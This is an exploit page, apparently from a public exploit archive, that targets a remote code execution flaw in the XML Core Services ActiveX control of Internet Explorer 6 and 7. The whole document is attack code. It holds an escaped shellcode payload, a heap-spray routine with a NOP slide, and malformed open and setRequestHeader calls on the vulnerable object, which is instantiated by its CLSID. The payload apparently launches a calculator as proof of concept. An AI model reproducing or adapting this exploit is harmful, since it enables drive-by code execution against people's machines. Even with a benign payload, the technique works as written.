MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 2

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script>
var heapSprayToAddress = 0x05050505;

var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
</script>
<script>
var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

memory = new Array();

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}



function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

</script>
<object id=target classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5" >
</object>
<script>
var obj = null;

obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());   

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);

</script>


</body></html>